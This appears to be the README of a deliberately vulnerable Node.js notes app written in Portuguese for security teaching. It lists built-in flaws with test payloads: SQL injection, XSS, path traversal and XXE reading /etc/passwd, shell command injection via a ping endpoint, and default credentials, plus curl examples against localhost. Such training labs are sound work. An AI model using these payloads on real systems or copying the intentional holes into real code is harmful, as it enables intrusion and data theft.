Um sistema de notas desenvolvido para fins educacionais e testes de segurança. Este projeto contém múltiplas vulnerabilidades intencionais para demonstrar falhas de segurança comuns em aplicações web.
⚠️ ATENÇÃO: NÃO USE EM PRODUÇÃO! ⚠️
POST /login
, GET /search
admin' OR '1'='1-- -
test' UNION SELECT username,password FROM users-- -
/notes
, /search
<script>alert('XSS')</script>
GET /file?path=
/file?path=../../../etc/passwd
POST /ping
127.0.0.1; ls -la
ou 127.0.0.1 && whoami
GET /template?file=
/template?file=../package.json
GET /debug
/debug
para ver senhas e variáveis de ambientePOST /import
### 8. Insecure Direct Object Reference (IDOR)
- **Endpoint**: `GET /notes?user=`
- **Descrição**: Acesso a dados de outros usuários
- **Teste**: Mude o parâmetro `user` para ver notas de outros usuários
### 9. Weak Authentication
- **Múltiplos usuários**: Senhas fracas e previsíveis
- **Credenciais**: admin/1234, guest/guest, test/(vazia), root/toor
### 10. Mass Assignment
- **Endpoint**: `POST /user/update`
- **Descrição**: Atualização de campos não intencionais
- **Teste**:
```json
{
"id": 1,
"username": "hacker",
"password": "newpass",
"role": "admin"
}
POST /session/create
, GET /session/info
sess_username_timestamp
POST /upload
npm install
node server.js
Usuário | Senha | Descrição |
---|---|---|
admin | 1234 | Administrador |
guest | guest | Usuário guest |
test | (vazia) | Usuário sem senha |
root | toor | Usuário root |
curl -X POST http://localhost:3000/login \
-d "username=admin' OR '1'='1-- -&password=any"
curl -X POST http://localhost:3000/ping \
-d "host=127.0.0.1; cat /etc/passwd"
curl "http://localhost:3000/file?path=../../../etc/passwd"
curl -X POST http://localhost:3000/import \
-d 'xml=<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "file:///etc/passwd">]><root>&test;</root>'
Este projeto é destinado exclusivamente para:
NÃO use este código em produção ou contra sistemas sem autorização explícita.
Contribuições são bem-vindas! Se você encontrar uma vulnerabilidade interessante que pode ser adicionada para fins educacionais, abra uma issue ou pull request.
ISC - Este projeto é fornecido “como está” para fins educacionais.
Desenvolvido para fins educacionais em segurança cibernética 🛡️